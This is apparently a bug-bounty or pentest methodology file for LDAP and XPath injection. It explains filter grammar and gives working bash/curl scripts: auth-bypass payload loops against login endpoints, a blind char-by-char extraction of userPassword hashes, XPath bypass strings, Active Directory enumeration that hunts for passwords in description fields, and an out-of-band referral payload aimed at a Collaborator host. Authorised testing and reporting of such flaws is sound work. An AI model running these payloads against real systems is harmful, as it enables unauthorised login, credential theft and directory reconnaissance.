HUNT-LDAP — LDAP Injection & XPath Injection

Grounding note: LDAP injection is rarely disclosed with verbatim payloads on public platforms (most live on internal-pentest reports). This skill is grounded in the OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and the RFC 4515 filter grammar — all publicly verifiable references rather than invented HackerOne IDs. Do not cite a report you cannot link.

Crown Jewel Targets

LDAP injection that bypasses authentication = Critical. Blind attribute exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.

Highest-value chains:

• LDAP auth bypass — close the uid filter and append an always-true OR so the bind/search returns the admin entry without a valid password.
• Blind attribute exfil — char-by-char extraction of an attribute value via a boolean oracle (login success/failure, result count, or response length).
• userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable by query. See the AD-vs-generic warning below.
• XPath injection auth bypass — ' or '1'='1 against XML-backed auth.

CRITICAL — Active Directory vs generic LDAP

Do not conflate the two. They behave very differently:

Do not tell a reader that blind LDAP injection yields AD password hashes — it does not. unicodePwd is write-only. Against AD, the win is enumeration (sAMAccountName, memberOf, description/info fields that admins misuse to store passwords) and auth bypass — not hash dumping. The hash-exfil technique applies only to non-AD directories exposing userPassword.

Attack Surface Signals

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP filter grammar (RFC 4515) — why injection works

A login filter is typically built by string-concat:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the operator comes first and every sub-filter is parenthesised. To inject you must (a) escape the current (uid=...) group, (b) inject your own logic, and (c) leave the overall parenthesis count balanced or the server throws a filter-syntax error instead of executing.

The special-character set — TEST EACH ONE

These characters are syntactically meaningful and MUST be escaped by a safe app (RFC 4515 §3). If the app reflects an error or behaves differently when you send them raw, the input is unescaped → injectable:

Search-filter context vs DN injection are different bugs:

• Search-filter injection (most common): your input lands inside a (attr=VALUE) filter. Payloads use * ( ) & | !.
• DN injection: your input is concatenated into a Distinguished Name (uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and / matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.

Step-by-Step Hunting Methodology

Phase 1 — Confirm an LDAP backend (baseline first)

# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

A lone ) that produces a syntax error/500 while a balanced payload does not is the cleanest LDAP-injection tell — note it, you will need it as proof.

Phase 2 — Auth-bypass payloads (balance your parentheses)

# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

Parenthesis-balancing rule of thumb: count ( minus ) in the resulting full filter, not just your payload. If the app appends )(userPassword=...)) after your input, leave the right number of trailing ) so the final string is balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).

Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)

Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps, length-jitter on the injected char itself). Use a paired true/false control so the oracle is the response, not the absolute size.

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

False-positive guards for blind exfil:

• Repeat each positive char 3x and confirm the size is stable — length-jitter from the attacker-controlled char itself is the #1 false positive.
• Confirm the FALSE control still returns the FALSE size after each round (the app didn't just start erroring on every request — WAF block looks like a match).
• If body length is unreliable, switch the oracle to HTTP status, a body marker string ("Invalid credentials" present/absent), or timing with a heavy filter — but only after establishing a stable baseline delta.

Phase 4 — XPath injection (XML-backed auth)

# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.

Phase 5 — AD enumeration via wildcard (count oracle, with control)

# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here

Phase 6 — Tooling & OOB confirmation

# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

Chain Table

AD has no readable password attribute — do not list "extract AD hashes" as a chain. Against AD, the credential win comes from description/info misuse or from enumerated usernames feeding a spray, never from unicodePwd.

Validation — rule out the false positive BEFORE you report

A "bypass" or "match" is only real once you have eliminated syntax-error, WAF-block, and length-jitter explanations.

• Auth bypass: the always-true payload returns a valid authenticated session (session cookie + access to a post-login resource), and the same request with one paren removed returns a filter-syntax error — proving the filter parsed and executed, not that the app fell open on every input.
• Negative control: an equivalently-shaped but logically-FALSE payload ()(uid=NONEXISTENT_ZZZ)) returns the failure response. If both true-class and false-class "succeed", you found a broken endpoint, not LDAP injection.
• Blind exfil: each recovered char reproduces 3x with stable size; the FALSE control still reads FALSE between rounds; recovered value verified by a direct lookup or by the auth-bypass payload that uses it.
• XPath: quotes/brackets remained balanced (no 500), and the bypass logged in to a real account context — not just a different error page.
• OOB where possible: a Collaborator DNS/LDAP interaction from a referral payload is decisive for blind cases — prefer it over length-only inference.
• AD claim discipline: if you say "AD", you enumerated AD-specific attrs (sAMAccountName/memberOf); never claim AD hash exfil.

Severity:

• Auth bypass landing as admin/privileged directory entry: Critical
• userPassword hash exfil (non-AD) or description-field credential read: High
• AD user/group enumeration only: Medium-High
• Blind boolean oracle confirmed but no useful attribute reachable: Medium